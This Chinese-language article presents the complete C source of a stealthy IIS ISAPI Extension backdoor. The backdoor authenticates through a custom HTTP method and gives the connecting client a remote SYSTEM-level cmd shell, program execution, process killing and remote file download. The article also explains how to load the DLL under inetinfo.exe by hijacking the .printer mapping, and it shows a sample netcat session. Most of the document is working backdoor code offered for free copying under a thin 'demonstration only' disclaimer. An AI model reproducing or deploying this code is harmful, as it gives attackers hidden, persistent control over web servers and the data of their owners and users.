一.前言
二.申明
三.实现
四.参考
一.前言
最近的sqlinjection攻击很流行,一般的解决方法是使用通用的防注入函数来保护程序不受威胁。但是有写些序作者经常忘记包含通用函数,导致没有效果。前些日子研究彻底防止SQLInjection攻击时,看了些IIS5的ISAPIFilter文档,决定利用IIS提供的API接口做个东西,这样可以很好的防止sqlinjection攻击。
凑巧发现,这样依附在IIS上面的扩展模块,还可以作为别的用处,比如作为一个后门程序。这样进程的隐藏,端口的隐藏,服务的隐藏问题都不需要解决,由IIS包办了。作为后门,为了隐蔽性,我选择了ISAPIExtension接口。前后大约一个多星期,做出了一个这样的东西,还不知道叫什么名字好。
二.申明
1.代码里面有些特殊字符,因为我忘记不了她,请自己修改。
2.代码可以随意转载,但是请保证文档完整,并不得用于商业用途。
3.代码可以随意修改,但是如果能够给我一份,将不胜感激。
4.代码我只是演示这种后门的危害,用做任何用途均与我无关。
三.实现
1.解析
鉴于隐蔽性,我没有选择ISAPIFilter,而是选择了ISAPIExtension方式。ISAPIExtension是IIS的功能扩展模块,它能独立支持某一项特殊的HTTP请求,系统默认支持的asp脚本由%SystemRoot%system32inetsrvinetsrvasp.dll解析。自己实现一个动态连接库,就可以实现自己特殊的功能,例如php就是利用自己带的dll文件来解析php文件的。IIS先获取请求文件的扩展名,再根据配置的应用程序映射,交由特定的dll处理。
2.权限
IIS5的配置都保存在%SystemRoot%system32inetsrvMetaBase.bin文件中,它有两个主键:LM和Schema。LM主键下面有W3SVC/InProcessIsapiApps键,这是一个数组,里面包含的是一组指向一些ISAPI的路径。在这个数组里面的ISAPI运行的时候都是由inetinfo.exe直接启动的,继承inetinfo.exe的localsystem权限;而不在其中的ISAPI则是由svchost.exe派生的dllhost.exe进程启动的,运行的身份是IWAM_NAME,权限极低。这里,我们可以使用iis的脚本adsutil.vbs将我们的dll加到数组当中,命令为adsutil.vbssetw3svc/inprocessisapiappsDllPath。更好的办法是替换掉printer扩展的映射,此映射由%systemroot%msw3prt.dll来解析,而且这个dll文件默认存在于W3SVC/InProcessIsapiApps键中。这也就是2000年.printer溢出得到system权限的原因。
3.导出
根据MSDN描述,ISAPIExtension需要导出三个函数,GetExtensionVersion,TerminateExtension以及HttpExtensionProc
4.功能
首先,密码功能肯定是需要的,这里我将标准的HTTP协议扩充出一个Icy方法,如果客户端使用此方法请求注册的映射,则认证成功,否则不予理睬。这里,你也可以修改代码,使用HTTP协议的其他部分做认证,比如Accept字段。
其次,后门主要是获取一个shell,但是某些服务器可能设置了禁止system访问cmd,因此,我还提供了下载功能,这样可以下载一个cmd,然后通过shellCustomerCmd运行,得到shell执行命令。最后就是列举进程和查杀进程了。
在虚拟机上测试,我注册了扩展名为yunshu交由此dll解析。使用nc连接,发送自己扩展的http协议,屏幕copy如下:
C:>nc-vv192.168.10.25080
Warning:forwardhostlookupfailedforIcy.missyou.com:h_errno11004:NO_DATA
Icy.missyou.com[192.168.10.250]80(http)open:unknownsocketerror
Icy/test.yunshuHTTP/1.0
HOST:192.168.10.250
Canyoutellmehowtoforgetsomeone?
Codeby云舒
Ourteam:www.ph4nt0m.org
Icy>help
Now,Supportthesecommand:
pslist--------------ListProcessInformation
killPID------------KillTheProcess
execProgram--------RunAProgram
shellShellPath-----GetASystemShell,Normalshellcmd.exe
downURL------------DownLoadAFile
exit----------------Exit
Icy>
5.代码
//ISAPIEXTENSIONBACKDOOR
//Codeby云舒
//ThxEnvyMask
//修改2005-08-14凌晨
//最后2005-08-16
//CompiledOn:WindowsServer2003,VC++6.0
#include<stdio.h>
#include<string.h>
#include<windows.h>
#include<tlhelp32.h>
#include<httpext.h>
#include<UrlMon.h>
#pragmacomment(lib,"urlmon.lib")
#defineDEBUG
#defineLOGPATH"c:ISAPI_LOG.txt"
//后门密码
#definePASSWORD"Icy"
//标识符
#defineFLAG"Icy>"
//缓冲区大小
#defineBUFFSIZE1024*4
#defineARGSIZE1024
typedefstructworkArg
{
EXTENSION_CONTROL_BLOCK*pECB;
chararg[ARGSIZE];
}WORKARG;
//定义函数原形
BOOLStartWith(char*,char*);//判断第一个字符串是否以第二个字符串开头
voidSwitchCmd(EXTENSION_CONTROL_BLOCK*,char*);//根据输入的命令来选择执行的功能
voidPsList(EXTENSION_CONTROL_BLOCK*);//列举进程
voidKill(LPVOID);//杀进程
voidShell(LPVOID);//获取一个shell
voidExecProgram(LPVOID);//运行一个程序
voidHelp(EXTENSION_CONTROL_BLOCK*);//输出帮助
voidDownLoad(LPVOID);//下载文件
BOOLSendToClient(EXTENSION_CONTROL_BLOCK*,char*);//发送数据到客户端
voidLogStrToFile(char*);//记录字符错误信息到日志
voidLogIntToFile(int);//记录整数信息到日志
//DLL入口
BOOLAPIENTRYDllMain(HANDLEhModule,
DWORDul_reason_for_call,
LPVOIDlpReserved)
{
returnTRUE;
}
//版本信息
BOOLWINAPIGetExtensionVersion(HSE_VERSION_INFO*pVer)
{
pVer->dwExtensionVersion=MAKELONG(HSE_VERSION_MINOR,HSE_VERSION_MAJOR);
strcpy(pVer->lpszExtensionDesc,"What_Can_I_Do?");
returnTRUE;
}
BOOLWINAPITerminateExtension(DWORDdwFlags)
{
returnTRUE;
}
DWORDWINAPIHttpExtensionProc(EXTENSION_CONTROL_BLOCK*pECB)
{
charbuff[BUFFSIZE]={0};
char*err="Error...n";
char*helo="Canyoutellmehowtoforgetsomeone?nCodeby云舒nOurteam:www.ph4nt0m.orgnn";
DWORDdwBytes=64;
//获取客户端密码,连接到web服务器,发送请求,请求方式为密码
pECB->GetServerVariable(pECB->ConnID,"REQUEST_METHOD",buff,&dwBytes);
if(strncmp(buff,PASSWORD,strlen(PASSWORD))!=0)
{
SendToClient(pECB,err);
returnHSE_STATUS_SUCCESS;
}
#ifdefDEBUG
LogStrToFile("-------------------------------n");
LogStrToFile("客户端成功登陆n");
#endif
SendToClient(pECB,helo);
SendToClient(pECB,FLAG);
while(TRUE)
{
ZeroMemory(buff,BUFFSIZE);
dwBytes=BUFFSIZE;
while(buff[0]==)//判断是否是空串
{
Sleep(1000);
pECB->ReadClient(pECB->ConnID,buff,&dwBytes);
}
if(strcmp(buff,"exitn")==0)
{
SendToClient(pECB,"ByeBye...n");
break;
}
SwitchCmd(pECB,buff);
}
returnHSE_STATUS_SUCCESS;
}
voidSwitchCmd(EXTENSION_CONTROL_BLOCK*pECB,char*buff)
{
WORKARGworkArg;
HANDLEhThread=NULL;
DWORDthreadID=0;
//SendToClient(pECB,"客户端命令:");
//SendToClient(pECB,buff);
#ifdefDEBUG
LogStrToFile("客户端命令:");
LogStrToFile(buff);
#endif
//去掉命令里面的回车符
*(strchr(buff,n))=;
//参数不能超过ARGSIZE
if(strlen(buff+5)>=ARGSIZE)
{
SendToClient(pECB,"Argumentsistoolong...n");
SendToClient(pECB,FLAG);
return;
}
//将要传递给新线程的参数清空
ZeroMemory(workArg.arg,sizeof(workArg.arg));
//如果是pslist命令,列举进程
if(StartWith(buff,"pslist"))
{
hThread=CreateThread(NULL,
0,
(LPTHREAD_START_ROUTINE)PsList,
(LPVOID)pECB,
0,
&threadID);
if(hThread==NULL)
{
#ifdefDEBUG
LogStrToFile("创建线程列举进程失败,错误码:");
LogIntToFile(GetLastError());
LogStrToFile("n");
#endif
SendToClient(pECB,"Listprocesserror...n");
SendToClient(pECB,FLAG);
return;
}
WaitForSingleObject(hThread,6000);
CloseHandle(hThread);
SendToClient(pECB,FLAG);
return;
}
//kill命令,杀进程
elseif(StartWith(buff,"kill"))
{
//如果没有参数
if(*(buff+5)==)
{
SendToClient(pECB,"Usage:killpidn");
SendToClient(pECB,FLAG);
return;
}
workArg.pECB=pECB;
strcpy(workArg.arg,buff+5);
hThread=CreateThread(NULL,
0,
(LPTHREAD_START_ROUTINE)Kill,
(LPVOID)&workArg,
0,
&threadID);
if(hThread==NULL)
{
#ifdefDEBUG
LogStrToFile("创建线程杀进程失败,错误码:");
LogIntToFile(GetLastError());
LogStrToFile("n");
#endif
SendToClient(pECB,"Killprocesserror...n");
SendToClient(pECB,FLAG);
return;
}
WaitForSingleObject(hThread,5000);
CloseHandle(hThread);
SendToClient(pECB,FLAG);
return;
}
//shell命令,运行一个cmd获取shell,为防止主机设置权限,需指明cmd路径
elseif(StartWith(buff,"shell"))
{
//如果没有参数
if(*(buff+6)==)
{
SendToClient(pECB,"Usage:shellShellPathn");
SendToClient(pECB,FLAG);
return;
}
workArg.pECB=pECB;
strcpy(workArg.arg,buff+6);
hThread=CreateThread(NULL,
0,
(LPTHREAD_START_ROUTINE)Shell,
(LPVOID)&workArg,
0,
&threadID);
if(hThread==NULL)
{
#ifdefDEBUG
LogStrToFile("创建线程执行shell失败,错误码:");
LogIntToFile(GetLastError());
LogStrToFile("n");
#endif
SendToClient(pECB,"Getshellerror...n");
SendToClient(pECB,FLAG);
return;
}
WaitForSingleObject(hThread,INFINITE);
CloseHandle(hThread);
return;
}
elseif(StartWith(buff,"exec"))
{
//如果没有参数
if(*(buff+5)==)
{
SendToClient(pECB,"Usage:shellShellPathn");
SendToClient(pECB,FLAG);
return;
}
workArg.pECB=pECB;
strcpy(workArg.arg,buff+5);
hThread=CreateThread(NULL,
0,
(LPTHREAD_START_ROUTINE)ExecProgram,
(LPVOID)&workArg,
0,
&threadID);
if(hThread==NULL)
{
#ifdefDEBUG
LogStrToFile("创建线程运行程序失败,错误码:");
LogIntToFile(GetLastError());
LogStrToFile("n");
#endif
SendToClient(pECB,"Executeprogramerror...n");
SendToClient(pECB,FLAG);
return;
}
WaitForSingleObject(hThread,10000);
CloseHandle(hThread);
return;
}
//down命令,利用http协议下载文件
elseif(StartWith(buff,"down"))
{
//如果没有参数
if(*(buff+5)==)
{
SendToClient(pECB,"Usage:downhttp://www.example.com/test.exen");
SendToClient(pECB,FLAG);
return;
}
workArg.pECB=pECB;
strcpy(workArg.arg,buff+5);
hThread=CreateThread(NULL,
0,
(LPTHREAD_START_ROUTINE)DownLoad,
(LPVOID)&workArg,
0,
&threadID);
if(hThread==NULL)
{
#ifdefDEBUG
LogStrToFile("创建线程下载文件失败,错误码:");
LogIntToFile(GetLastError());
LogStrToFile("n");
#endif
SendToClient(pECB,"Downloadfileerror...n");
SendToClient(pECB,FLAG);
return;
}
WaitForSingleObject(hThread,INFINITE);
CloseHandle(hThread);
SendToClient(pECB,FLAG);
return;
}
//命令不正确,输出帮助
else
{
hThread=CreateThread(NULL,
0,
(LPTHREAD_START_ROUTINE)Help,
(LPVOID)pECB,
0,
&threadID);
if(hThread==NULL)
{
#ifdefDEBUG
LogStrToFile("创建线程输出帮助信息失败,错误码:");
LogIntToFile(GetLastError());
LogStrToFile("n");
#endif
SendToClient(pECB,"Printhelperror...n");
SendToClient(pECB,FLAG);
return;
}
WaitForSingleObject(hThread,5000);
CloseHandle(hThread);
SendToClient(pECB,FLAG);
return;
}
}
//判断字符串buf1是否以buf2开头,是返回真
BOOLStartWith(char*buf1,char*buf2)
{
intlen=strlen(buf2);
if(memcmp(buf1,buf2,len)==0)
{
returnTRUE;
}
returnFALSE;
}
//运行shell
voidShell(LPVOIDarg)
{
WORKARG*workArg=(WORKARG*)arg;
SECURITY_ATTRIBUTESsa;
HANDLEhReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
STARTUPINFOsi;
PROCESS_INFORMATIONprocInfo;
charcmdLine[ARGSIZE]={0};
charbuff[BUFFSIZE]={0};
intret=0;
unsignedlongdwBytes=0;
intindex=0;
EXTENSION_CONTROL_BLOCK*pECB=workArg->pECB;
strcpy(cmdLine,workArg->arg);
if(cmdLine[0]==)
{
#ifdefDEBUG
LogStrToFile("执行shell时,没有要输入要运行的shell路径n");
#endif
SendToClient(pECB,"Noshelltorun...n");
SendToClient(pECB,FLAG);
return;
}
#ifdefDEBUG
LogStrToFile("要运行的程序:");
LogStrToFile(workArg->arg);
LogStrToFile("n");
#endif
//安全选项
sa.nLength=sizeof(sa);
sa.lpSecurityDescriptor=0;
sa.bInheritHandle=TRUE;
//初始化管道
if(!CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0))
{
#ifdefDEBUG
LogStrToFile("建立管道失败:");
LogIntToFile(GetLastError());
LogStrToFile("n");
#endif
SendToClient(pECB,"Createpipierror...n");
SendToClient(pECB,FLAG);
return;
}
if(!CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0))
{
#ifdefDEBUG
LogStrToFile("建立管道失败:");
LogIntToFile(GetLastError());
LogStrToFile("n");
#endif
SendToClient(pECB,"Createpipierror...n");
SendToClient(pECB,FLAG);
return;
}
ZeroMemory(&si,sizeof(STARTUPINFO));
GetStartupInfo(&si);
si.cb=sizeof(si);
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow=SW_HIDE;
si.hStdInput=hReadPipe2;
si.hStdOutput=si.hStdError=hWritePipe1;
ZeroMemory(&procInfo,sizeof(PROCESS_INFORMATION));
ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&procInfo);
if(!ret)
{
#ifdefDEBUG
LogStrToFile("建立进程失败...n");
LogIntToFile(GetLastError());
#endif
SendToClient(pECB,"Createprocesserror...n");
SendToClient(pECB,FLAG);
return;
}
while(1)
{
memset(buff,0,BUFFSIZE);
ret=PeekNamedPipe(hReadPipe1,buff,BUFFSIZE,&dwBytes,NULL,NULL);
//尝试5次读取管道,防止延迟发生错误
for(index=0;index<5&&dwBytes==0;index++)
{
Sleep(100);
ret=PeekNamedPipe(hReadPipe1,buff,BUFFSIZE,&dwBytes,NULL,NULL);
}
//获取输出信息,输出到客户端
if(dwBytes)
{
ret=ReadFile(hReadPipe1,buff,dwBytes,&dwBytes,0);
if(!ret)
{
#ifdefDEBUG
LogStrToFile("读取输出失败:");
LogIntToFile(GetLastError());
LogStrToFile("n");
#endif
break;
}
#ifdefDEBUG
LogStrToFile(buff);
#endif
ret=SendToClient(pECB,buff);
if(ret<=0)
{
#ifdefDEBUG
LogStrToFile("发送输出失败:");
LogIntToFile(GetLastError());
LogStrToFile("n");
#endif
break;
}
}
//从客户端获取命令
else
{
//客户端无输入则循环读取
while(buff[0]==)
{
Sleep(100);
dwBytes=BUFFSIZE;
pECB->ReadClient(pECB->ConnID,buff,&dwBytes);
}
#ifdefDEBUG
LogStrToFile("读到客户命令了,内容是:");
LogStrToFile(buff);
#endif
//如果是exit命令,退出连接
if(strcmp(buff,"exitn")==0)
{
SendToClient(pECB,"ByeBye~!n");
break;
}
ret=WriteFile(hWritePipe2,buff,dwBytes,&dwBytes,0);
if(!ret)
{
#ifdefDEBUG
LogStrToFile("把命令发送到shell失败n");
LogIntToFile(GetLastError());
LogStrToFile("n");
#endif
break;
}
}
}
CloseHandle(hReadPipe1);
CloseHandle(hReadPipe2);
CloseHandle(hWritePipe1);
CloseHandle(hWritePipe2);
TerminateProcess(procInfo.hProcess,0);
return;
}
//运行一个程序
voidExecProgram(LPVOIDarg)
{
WORKARG*workArg=(WORKARG*)arg;
SECURITY_ATTRIBUTESsa;
HANDLEhReadPipe1=NULL;
HANDLEhWritePipe1=NULL;
STARTUPINFOsi;
PROCESS_INFORMATIONprocInfo;
charcmdLine[ARGSIZE]={0};
charbuff[BUFFSIZE]={0};
intret=0;
unsignedlongdwBytes=0;
EXTENSION_CONTROL_BLOCK*pECB=workArg->pECB;
strcpy(cmdLine,workArg->arg);
if(cmdLine[0]==)
{
#ifdefDEBUG
LogStrToFile("执行程序时,没有要输入要运行的程序n");
#endif
SendToClient(pECB,"Noprogramtorun...n");
SendToClient(pECB,FLAG);
return;
}
#ifdefDEBUG
LogStrToFile("要运行的程序:");
LogStrToFile(workArg->arg);
LogStrToFile("n");
#endif
//安全选项
sa.nLength=sizeof(sa);
sa.lpSecurityDescriptor=0;
sa.bInheritHandle=TRUE;
//初始化管道
if(!CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0))
{
#ifdefDEBUG
LogStrToFile("建立管道失败:");
LogIntToFile(GetLastError());
LogStrToFile("n");
#endif
SendToClient(pECB,"Createpipierror...n");
SendToClient(pECB,FLAG);
return;
}
ZeroMemory(&si,sizeof(STARTUPINFO));
GetStartupInfo(&si);
si.cb=sizeof(si);
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow=SW_HIDE;
si.hStdOutput=si.hStdError=hWritePipe1;
ZeroMemory(&procInfo,sizeof(PROCESS_INFORMATION));
ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&procInfo);
if(!ret)
{
#ifdefDEBUG
LogStrToFile("建立进程失败...n");
LogIntToFile(GetLastError());
#endif
SendToClient(pECB,"Createprocesserror...n");
SendToClient(pECB,FLAG);
return;
}
memset(buff,0,BUFFSIZE);
//读取程序输出
while(dwBytes==0)
{
Sleep(200);
ret=PeekNamedPipe(hReadPipe1,buff,BUFFSIZE,&dwBytes,NULL,NULL);
}
ret=ReadFile(hReadPipe1,buff,dwBytes,&dwBytes,0);
if(!ret)
{
#ifdefDEBUG
LogStrToFile("读取输出失败:");
&n,bsp;LogIntToFile(GetLastError());
LogStrToFile("n");
#endif
}
#ifdefDEBUG
LogStrToFile(buff);
#endif
ret=SendToClient(pECB,buff);
if(ret<=0)
{
#ifdefDEBUG
LogStrToFile("发送输出失败:");
LogIntToFile(GetLastError());
LogStrToFile("n");
#endif
}
CloseHandle(hReadPipe1);
CloseHandle(hWritePipe1);
TerminateProcess(procInfo.hProcess,0);
return;
}
voidPsList(EXTENSION_CONTROL_BLOCK*pECB)
{
HANDLEhProcessSnap=NULL;
HANDLEhProcess=NULL;
PROCESSENTRY32pe32;
charpsBuff[BUFFSIZE]={0};
SendToClient(pECB,"ProcessInformationList0.1nn");
/*
SendToClient(pECB,"Codeby云舒(wustyunshu@hotmail.com)n");
SendToClient(pECB,"www.ph4nt0m.orgwww.icylife.netn");
*/
hProcessSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
if(hProcessSnap==INVALID_HANDLE_VALUE)
{
#ifdefDEBUG
LogStrToFile("CallCreateToolhelp32Snapshoterror");
LogIntToFile(GetLastError());
#endif
SendToClient(pECB,"Listprocessinformationerror...n");
return;
}
pe32.dwSize=sizeof(PROCESSENTRY32);
if(!Process32First(hProcessSnap,&pe32))
{
#ifdefDEBUG
LogStrToFile("CallProcess32Firsterror");
LogIntToFile(GetLastError());
#endif
SendToClient(pECB,"Listprocessinformationerror...n");
SendToClient(pECB,FLAG);
CloseHandle(hProcessSnap);
return;
}
SendToClient(pECB,"PIDttProcessNamen");
do
{
ZeroMemory(psBuff,sizeof(psBuff));
sprintf(psBuff,"%dtt%sn",pe32.th32ProcessID,pe32.szExeFile);
SendToClient(pECB,psBuff);
}
while(Process32Next(hProcessSnap,&pe32));
return;
}
voidKill(LPVOIDarg)
{
WORKARG*workArg=(WORKARG*)arg;
HANDLEhProcess=NULL;
DWORDpID;
EXTENSION_CONTROL_BLOCK*pECB=workArg->pECB;
HANDLEhToken;
LUIDsedebugnameValue;
TOKEN_PRIVILEGEStkp;
pID=atoi(workArg->arg);
if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&hToken))
{
#ifdefDEBUG
LogStrToFile("CallOpenProcessTokenerror");
LogIntToFile(GetLastError());
#endif
SendToClient(pECB,"Killprocesserror...n");
return;
}
if(!LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&sedebugnameValue))
{
#ifdefDEBUG
LogStrToFile("CallLookupPrivilegeValueerror");
LogIntToFile(GetLastError());
#endif
SendToClient(pECB,"Killprocesserror...n");
return;
}
tkp.PrivilegeCount=1;
tkp.Privileges[0].Luid=sedebugnameValue;
tkp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken,FALSE,&tkp,sizeof(tkp),NULL,NULL);
CloseHandle(hToken);
hProcess=OpenProcess(PROCESS_TERMINATE,FALSE,pID);
if(hProcess==INVALID_HANDLE_VALUE||hProcess==NULL)
{
#ifdefDEBUG
LogStrToFile("CallOpenProcesserror");
LogIntToFile(GetLastError());
#endif
SendToClient(pECB,"Killprocesserror...n");
CloseHandle(hToken);
CloseHandle(hProcess);
return;
}
if(!TerminateProcess(hProcess,(DWORD)-1))
{
#ifdefDEBUG
LogStrToFile("CallTerminateProcesserror");
LogIntToFile(GetLastError());
#endif
SendToClient(pECB,"Killprocesserror...n");
CloseHandle(hToken);
CloseHandle(hProcess);
return;
}
SendToClient(pECB,"killedokn");
CloseHandle(hToken);
CloseHandle(hProcess);
return;
}
voidDownLoad(LPVOIDarg)
{
WORKARG*workArg=(WORKARG*)arg;
charfileName[64]={0};//保存的文件名
charfullPath[256]={0};//保存的完整地址
charurl[ARGSIZE]={0};//下载的URL
charseps[]="/";//分割字符
char*token;
intret=0;
EXTENSION_CONTROL_BLOCK*pECB=workArg->pECB;;
strcpy(url,workArg->arg);
token=strtok(url,seps);
while(token!=NULL)
{
strcpy(fileName,token);
token=strtok(NULL,seps);
}
strcpy(url,workArg->arg);
GetCurrentDirectory(sizeof(fullPath)-sizeof(fileName),fullPath);
strcat(fullPath,"");
strcat(fullPath,fileName);
SendToClient(pECB,"Download");
SendToClient(pECB,url);
SendToClient(pECB,"nThefilesavedto");
SendToClient(pECB,fullPath);
ret=URLDownloadToFile(0,url,fullPath,0,0);
if(ret==S_OK)
{
SendToClient(pECB,"nDownLoadokn");
return;
}
#ifdefDEBUG
LogStrToFile("CallURLDownloadToFileerror");
LogIntToFile(GetLastError());
#endif
SendToClient(pECB,"DownLoadfileerror...n");
return;
}
voidHelp(EXTENSION_CONTROL_BLOCK*pECB)
{
charbuff[BUFFSIZE]="nNow,Supportthesecommand:n";
strcat(buff,"pslist--------------ListProcessInformationn");
strcat(buff,"killPID------------KillTheProcessn");
strcat(buff,"execProgram--------RunAProgramn");
strcat(buff,"shellShellPath-----GetASystemShell,Normalshellcmd.exen");
strcat(buff,"downURL------------DownLoadAFilen");
strcat(buff,"exit----------------Exitn");
SendToClient(pECB,buff);
return;
}
voidLogStrToFile(char*buff)
{
FILE*fp=NULL;
fp=fopen(LOGPATH,"a+");
if(fp==NULL)return;
fputs(buff,fp);
fclose(fp);
}
voidLogIntToFile(intnum)
{
FILE*fp=NULL;
fp=fopen(LOGPATH,"a+");
if(fp==NULL)return;
fprintf(fp,"%d",num);
fclose(fp);
}
BOOLSendToClient(EXTENSION_CONTROL_BLOCK*pECB,char*buff)
{
DWORDdwByte=strlen(buff);
return(pECB->WriteClient(pECB->ConnID,buff,&dwByte,0));
}
四.感谢与参考
1.在获取shell的时候格式很难看,envymask告诉我是网络延迟的原因,得以解决,感谢!
2.参考《绿盟安全月刊》第37期的技术专题里面的第五章《ExploitMicrosoftINTERNETINFORMATIONSERVER》,地址为http://www.nsfocus.net/index.php?act=magazine&do=view&mid=1662
3.参考MSDN函数库
OurTeam:http://www.ph4nt0m.org
Author:云舒(wustyunshu@hotmail.com)